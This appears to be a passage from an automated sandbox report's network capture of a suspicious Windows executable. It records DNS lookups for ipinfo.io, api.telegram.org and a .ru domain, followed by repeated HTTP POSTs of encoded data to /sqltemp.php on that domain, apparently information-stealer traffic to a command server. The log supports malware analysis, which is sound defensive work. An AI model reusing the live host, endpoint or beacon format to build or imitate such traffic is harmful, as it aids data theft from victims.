Jan 1, 2025 16:06:05.029408932 CET	80	62968	104.21.38.84	192.168.2.6
Jan 1, 2025 16:06:05.376737118 CET	62968	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:05.382596970 CET	80	62968	104.21.38.84	192.168.2.6
Jan 1, 2025 16:06:05.477782965 CET	80	62968	104.21.38.84	192.168.2.6
Jan 1, 2025 16:06:05.545783997 CET	62968	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:05.744887114 CET	80	62968	104.21.38.84	192.168.2.6
Jan 1, 2025 16:06:05.829750061 CET	62968	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:05.858321905 CET	62968	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:05.859016895 CET	62969	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:05.863440037 CET	80	62968	104.21.38.84	192.168.2.6
Jan 1, 2025 16:06:05.863509893 CET	62968	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:05.863846064 CET	80	62969	104.21.38.84	192.168.2.6
Jan 1, 2025 16:06:05.863907099 CET	62969	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:05.864005089 CET	62969	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:05.868701935 CET	80	62969	104.21.38.84	192.168.2.6
Jan 1, 2025 16:06:06.220417023 CET	62969	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:06.225316048 CET	80	62969	104.21.38.84	192.168.2.6
Jan 1, 2025 16:06:06.335722923 CET	80	62969	104.21.38.84	192.168.2.6
Jan 1, 2025 16:06:06.423449039 CET	62969	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:06.603777885 CET	80	62969	104.21.38.84	192.168.2.6
Jan 1, 2025 16:06:06.604881048 CET	62969	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:06.609970093 CET	80	62969	104.21.38.84	192.168.2.6
Jan 1, 2025 16:06:06.610042095 CET	62969	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:06.718898058 CET	62970	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:06.723794937 CET	80	62970	104.21.38.84	192.168.2.6
Jan 1, 2025 16:06:06.723932981 CET	62970	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:06.724005938 CET	62970	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:06.728750944 CET	80	62970	104.21.38.84	192.168.2.6
Jan 1, 2025 16:06:07.079829931 CET	62970	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:07.084774017 CET	80	62970	104.21.38.84	192.168.2.6
Jan 1, 2025 16:06:07.201608896 CET	80	62970	104.21.38.84	192.168.2.6
Jan 1, 2025 16:06:07.237328053 CET	62971	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:07.237329960 CET	62970	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:07.242239952 CET	80	62971	104.21.38.84	192.168.2.6
Jan 1, 2025 16:06:07.242327929 CET	62971	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:07.242408991 CET	80	62970	104.21.38.84	192.168.2.6
Jan 1, 2025 16:06:07.242489100 CET	62970	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:07.242518902 CET	62971	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:07.247378111 CET	80	62971	104.21.38.84	192.168.2.6
Jan 1, 2025 16:06:07.358383894 CET	62972	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:07.364296913 CET	80	62972	104.21.38.84	192.168.2.6
Jan 1, 2025 16:06:07.364471912 CET	62972	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:07.364615917 CET	62972	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:07.370354891 CET	80	62972	104.21.38.84	192.168.2.6
Jan 1, 2025 16:06:07.684756994 CET	80	62971	104.21.38.84	192.168.2.6
Jan 1, 2025 16:06:07.830961943 CET	80	62972	104.21.38.84	192.168.2.6
Jan 1, 2025 16:06:07.899105072 CET	80	62971	104.21.38.84	192.168.2.6
Jan 1, 2025 16:06:07.899332047 CET	62971	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:07.923823118 CET	62972	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:13.136395931 CET	62972	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:13.136424065 CET	62971	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:13.141370058 CET	80	62972	104.21.38.84	192.168.2.6
Jan 1, 2025 16:06:13.141381979 CET	80	62971	104.21.38.84	192.168.2.6
Jan 1, 2025 16:06:13.141520023 CET	80	62971	104.21.38.84	192.168.2.6
Jan 1, 2025 16:06:13.403512001 CET	80	62972	104.21.38.84	192.168.2.6
Jan 1, 2025 16:06:13.454715967 CET	62972	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:06:13.518744946 CET	80	62971	104.21.38.84	192.168.2.6
Jan 1, 2025 16:06:13.564205885 CET	62971	80	192.168.2.6	104.21.38.84

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 1, 2025 16:02:08.424844027 CET	65386	53	192.168.2.6	1.1.1.1
Jan 1, 2025 16:02:08.431603909 CET	53	65386	1.1.1.1	192.168.2.6
Jan 1, 2025 16:02:09.912743092 CET	50356	53	192.168.2.6	1.1.1.1
Jan 1, 2025 16:02:09.920877934 CET	53	50356	1.1.1.1	192.168.2.6
Jan 1, 2025 16:02:15.374460936 CET	56859	53	192.168.2.6	1.1.1.1
Jan 1, 2025 16:02:15.383860111 CET	53	56859	1.1.1.1	192.168.2.6
Jan 1, 2025 16:02:20.414805889 CET	53	55611	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 1, 2025 16:02:08.424844027 CET	192.168.2.6	1.1.1.1	0x22cb	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false
Jan 1, 2025 16:02:09.912743092 CET	192.168.2.6	1.1.1.1	0x77bb	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Jan 1, 2025 16:02:15.374460936 CET	192.168.2.6	1.1.1.1	0xbcff	Standard query (0)	250345cm.renyash.ru	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jan 1, 2025 16:02:08.431603909 CET	1.1.1.1	192.168.2.6	0x22cb	No error (0)	ipinfo.io	34.117.59.81	A (IP address)	IN (0x0001)	false
Jan 1, 2025 16:02:09.920877934 CET	1.1.1.1	192.168.2.6	0x77bb	No error (0)	api.telegram.org	149.154.167.220	A (IP address)	IN (0x0001)	false
Jan 1, 2025 16:02:15.383860111 CET	1.1.1.1	192.168.2.6	0xbcff	No error (0)	250345cm.renyash.ru	104.21.38.84	A (IP address)	IN (0x0001)	false
Jan 1, 2025 16:02:15.383860111 CET	1.1.1.1	192.168.2.6	0xbcff	No error (0)	250345cm.renyash.ru	172.67.220.198	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

ipinfo.io

api.telegram.org

250345cm.renyash.ru

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49735	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:02:15.394190073 CET	301	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 344 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:02:15.751516104 CET	344	OUT	Data Raw: 05 05 01 05 03 0d 01 06 05 06 02 01 02 06 01 01 00 07 05 0a 02 03 03 00 07 02 0a 01 06 04 03 53 0e 07 04 5a 07 00 04 04 0e 51 07 56 00 03 05 0e 06 53 0d 0d 0e 01 07 04 07 07 04 06 05 02 00 09 03 07 0f 01 05 51 05 09 0b 02 0b 04 0e 03 0f 07 05 51 Data Ascii: SZQVSQQRYSW\L}U\|^}_tLqweQhl[vY\|slIloczcfS\|tYc[}e~V@BxSfO~LW
Jan 1, 2025 16:02:15.855865002 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:02:16.139549017 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:02:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UigMEW5PZkRsqhYjVW6BRnLbVbXa1b%2BMsgcj%2BXyOTDYQiHqos34p%2FN4fncEHNFhAW74sspKJ5P5MIR7bdA3jQwictnmwVpBREfnnEdrKO1ojvAV1gMM416%2FkoUCqLUxtAFnSVQa4"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb363accb7c0f84-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=9368&min_rtt=1533&rtt_var=16246&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=645&delivery_rate=22734&cwnd=243&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 35 34 38 0d 0a 56 4a 7d 59 78 6d 67 49 7b 61 7b 5d 68 4f 6b 49 7d 77 7c 53 7e 70 75 0c 6e 73 51 58 7d 5b 73 5c 77 05 66 50 7a 72 76 5e 62 65 77 5f 7e 71 78 01 55 4b 72 55 74 5c 68 59 7f 4c 57 06 7c 67 5f 51 79 76 55 54 7e 70 63 01 75 72 75 41 77 72 7d 47 68 58 69 5d 7e 6c 74 0d 69 67 7f 00 75 4c 7b 06 7c 5b 7d 48 7d 70 76 5a 78 67 77 59 7b 77 51 58 6f 6d 77 49 78 71 64 48 78 5a 62 41 7f 06 6f 5a 7b 5e 64 07 7e 5c 77 40 61 5f 52 03 7a 51 41 5b 6b 49 52 0a 68 71 58 52 75 42 73 5a 7b 6c 70 00 60 5e 71 50 7a 07 71 03 7e 42 57 5e 6c 61 66 00 75 73 7f 00 61 62 73 5d 76 62 62 50 7e 5d 7a 06 77 62 6d 04 61 65 52 09 7f 55 76 5c 77 6f 70 04 7e 70 7c 02 6f 6c 67 03 7b 4e 66 4b 7c 6d 5a 08 77 64 7c 05 7e 61 71 50 7e 43 6c 55 6f 7d 7d 5d 7f 61 65 4f 7b 5d 46 51 7c 6f 68 43 7d 59 77 55 6a 49 62 4c 6f 7d 60 59 78 72 7b 5c 7f 61 63 03 7d 59 60 52 6b 60 76 50 79 63 70 04 7f 61 78 05 60 5d 71 51 7b 5c 79 4a 75 48 64 4a 7e 58 70 06 7d 66 6d 4f 74 72 55 03 7c 72 57 05 7c 67 50 41 7b 66 6c 0c 7e 4d 67 01 75 4c 7d 06 77 [TRUNCATED] Data Ascii: 548VJ}YxmgI{a{]hOkI}w\|S~punsQX}[s\wfPzrv^bew_~qxUKrUt\hYLW\|g_QyvUT~pcuruAwr}GhXi]~ltiguL{\|[}H}pvZxgwY{wQXomwIxqdHxZbAoZ{^d~\w@a_RzQA[kIRhqXRuBsZ{lp`^qPzq~BW^lafusabs]vbbP~]zwbmaeRUv\wop~p\|olg{NfK\|mZwd\|~aqP~ClUo}}]aeO{]FQ\|ohC}YwUjIbLo}`Yxr{\ac}Y`Rk`vPycpax`]qQ{\yJuHdJ~Xp}fmOtrU\|rW\|gPA{fl~MguL}wO[H~qjI~\|x~IYv_QHzb[~`_D{I\|{IlOy}gKz\VzsrAN^xw\|~Lowa\|~\|g}gh_mu\|\|x\|VHwpryO}G~RP{OvwcUDuqd
Jan 1, 2025 16:02:16.139569044 CET	920	IN	Data Raw: 03 74 5f 54 08 7f 60 50 06 74 62 69 4c 76 65 78 0d 7f 52 61 07 77 52 70 4d 7f 4d 60 03 78 52 51 03 7a 60 7a 4a 7c 53 68 41 74 77 68 07 7e 5c 7a 0b 7c 7d 6f 0d 78 6d 7e 4c 7e 62 5b 06 7d 70 52 4f 7f 7c 5e 43 7f 60 60 40 7d 49 7e 07 78 53 59 49 7b Data Ascii: t_T`PtbiLvexRawRpMM`xRQz`zJ\|ShAtwh~\z\|}oxm~L~b[}pRO\|^C``@}I~xSYI{rpH\|aU~IUO\|Nyz]RB}LlFt]W{auvfp~XZfyvrwbq\|wjxv\|A}Mku\utOaJ~qz~lpC}IUvOH{Ly\|p_{wxNywhxS{y\x{]\{]NZ{^gX}LoNv_l\|oK^wU\|y@uBZ{BdcpvyanZ~l
Jan 1, 2025 16:02:16.171900988 CET	277	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 384 Expect: 100-continue
Jan 1, 2025 16:02:16.269342899 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:02:16.269892931 CET	384	OUT	Data Raw: 53 54 5a 57 54 58 54 5d 58 56 52 59 56 5f 59 57 5b 5e 54 58 55 5b 50 5c 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: STZWTXT]XVRYV_YW[^TXU[P\Z_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S.3/="?'>(8=#./*$)-8Y!!,+.&8,:&Y.,Y-9
Jan 1, 2025 16:02:16.533253908 CET	963	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:02:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TXtPUE7IHcn6IFo1J%2FO4gIcAHHE8HJ8eX60hWEmf2q6nP8wa1GKFg1fCvweGb6Uk53%2FlEZmbSHXRQOdQ5LAbBzasm6nKA7Kxs4S0Tnl7xpuaaHvo%2FY7X7JtCu%2FHF8bajOhF%2BtzLt"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb363af6f0e0f84-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=12537&min_rtt=1471&rtt_var=18910&sent=7&recv=8&lost=0&retrans=0&sent_bytes=2206&recv_bytes=1306&delivery_rate=2889182&cwnd=247&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 00 1f 26 0d 28 3d 21 0c 31 0c 28 1e 3f 3d 06 0f 32 00 26 11 3c 28 21 01 33 3d 27 10 3d 29 27 5c 35 2c 32 07 26 28 23 02 20 3d 20 01 24 1e 2b 59 05 1c 20 06 35 3c 34 13 2a 03 05 59 25 3f 07 11 27 3d 24 14 2b 16 28 1f 20 28 33 1d 24 3d 3c 5c 29 5c 20 52 33 3c 2f 17 2d 2c 32 0d 24 00 2c 54 00 11 26 55 27 0f 3c 5e 37 24 2f 02 20 22 39 5f 26 24 36 51 26 3c 2b 19 23 17 22 15 31 32 28 03 21 1d 08 5f 31 05 2a 00 21 2d 34 0a 3e 14 25 53 20 02 2d 48 05 3f 57 53 0d 0a 30 0d 0a 0d 0a Data Ascii: 98&(=!1(?=2&<(!3='=)'\5,2&(# = $+Y 5<4Y%?'=$+( (3$=<\)\ R3</-,2$,T&U'<^7$/ "9_&$6Q&<+#"12(!_1!-4>%S -H?WS0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49741	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:02:16.426666021 CET	278	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1120 Expect: 100-continue
Jan 1, 2025 16:02:16.783961058 CET	1120	OUT	Data Raw: 56 51 5a 53 51 5d 51 57 58 56 52 59 56 59 59 5f 5b 5b 54 5e 55 58 50 5a 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: VQZSQ]QWXVRYVYY_[[T^UXPZZ_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S.^$/%7%'.(,\=V - ()'>Y724(+%1<;:&Y.,Y-
Jan 1, 2025 16:02:16.872229099 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:02:17.139561892 CET	809	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:02:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wZ1AJurBiJOcVEI4%2BeG3TxKyQdwjCyWIej78skGf1wwQM4VxcEUKNSnyqqrgQCqf3bvri1ziF9jdUG%2BBvHOIYH4axmlYR%2FgDMZBELtX4C%2Fn9A62m6eS5WlK9%2Fd7F6S4dSozlyTkv"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb363b32ee243b7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2874&min_rtt=2433&rtt_var=1795&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1398&delivery_rate=244843&cwnd=237&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49745	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:02:16.589689970 CET	278	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1860 Expect: 100-continue
Jan 1, 2025 16:02:16.938364029 CET	1860	OUT	Data Raw: 53 50 5f 57 54 5d 54 55 58 56 52 59 56 5a 59 52 5b 58 54 59 55 59 50 5d 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: SP_WT]TUXVRYVZYR[XTYUYP]Z_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S.35X#/_0(/99S7,**'S>71+<:%?4:&Y.,Y--
Jan 1, 2025 16:02:17.054145098 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:02:17.313070059 CET	959	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:02:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ub79c24wHtrUitEnRmbjSmzon0h8%2Fs9J%2Bdo74%2BoIjhaqEY2BNO2EaO3bFjypINoHrjKyLPvySFTVixvpVktKkGtvxruCWmOuNrPc8eah%2Bn8zZsifVZ2WxVHoo%2BwTXJ4C8FOs%2FrJR"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb363b44baa42d3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=5007&min_rtt=2397&rtt_var=6119&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=2138&delivery_rate=62717&cwnd=245&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 00 1f 25 51 2a 2d 25 09 26 0b 38 5b 2b 2e 3b 1f 26 2e 03 01 3f 06 04 14 26 2d 3c 01 2a 07 0a 02 35 2f 31 5e 32 38 20 59 20 5b 37 13 27 0e 2b 59 05 1c 20 44 22 3f 0d 00 2a 2d 2c 07 32 01 31 11 26 2e 2c 16 3f 38 3c 1f 37 2b 3c 01 27 03 3c 13 29 04 20 1d 33 02 2b 14 39 06 2d 53 27 3a 2c 54 00 11 25 08 24 08 3b 05 20 19 02 59 35 31 29 1d 24 37 2a 53 25 12 2c 0b 23 00 21 05 25 1c 23 12 21 0a 22 12 25 2b 32 04 20 2d 28 0b 2a 2e 25 53 20 02 2d 48 05 3f 57 53 0d 0a 30 0d 0a 0d 0a Data Ascii: 98%Q-%&8[+.;&.?&-<5/1^28 Y [7'+Y D"?-,21&.,?8<7+<'<) 3+9-S':,T%$; Y51)$7S%,#!%#!"%+2 -(*.%S -H?WS0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49751	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:02:17.282624960 CET	278	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1120 Expect: 100-continue
Jan 1, 2025 16:02:17.641423941 CET	1120	OUT	Data Raw: 56 50 5a 51 54 50 51 51 58 56 52 59 56 59 59 52 5b 52 54 5f 55 5f 50 5f 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: VPZQTPQQXVRYVYYR[RT_U_P_Z_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S-$&7?3>(/9"# [?)-<41?]8%E$??R9*&Y.,Y-5
Jan 1, 2025 16:02:17.726901054 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:02:18.011533022 CET	805	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:02:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Q8D%2BFVAkIhNhNIkwucIHob4n6WFR5ICTR0mm8Ycq7T2SaNLINW7XRJjqEyAm7%2BRPNT7PqPS0O9GNmi%2FMmUvwh0KAoWw0dWEuKOzES7zww6qya2VaQwvicztuJ6by2ulnuNIM4cC2"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb363b88f6b433e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2547&min_rtt=1760&rtt_var=2235&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1398&delivery_rate=181074&cwnd=248&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49761	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:02:18.207595110 CET	278	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1120 Expect: 100-continue
Jan 1, 2025 16:02:18.565045118 CET	1120	OUT	Data Raw: 53 50 5f 53 51 5f 54 55 58 56 52 59 56 59 59 54 5b 5c 54 59 55 54 50 59 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: SP_SQ_TUXVRYVYYT[\TYUTPYZ_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S-$>4Y=3>;C8: =8[(9R);72?;17W,&Y.,Y--
Jan 1, 2025 16:02:18.632294893 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:02:18.920722961 CET	816	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:02:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7%2F2Rdb%2FWqlHPRbfPz58oaDJyItO%2FQqL27OVkMYRNo0SykFXmfNAK9obpS4J%2B2N5flvAelIaHnhb%2BkdhJInyK8Sv90y2xJ%2FAYH6CkXRtmH8Lpck%2F1Uj%2FcU%2B7OK4K9kYumraXHyAHQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb363be28b44411-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=5230&min_rtt=2160&rtt_var=6951&sent=3&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1398&delivery_rate=54632&cwnd=234&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49771	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:02:19.109544039 CET	278	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue
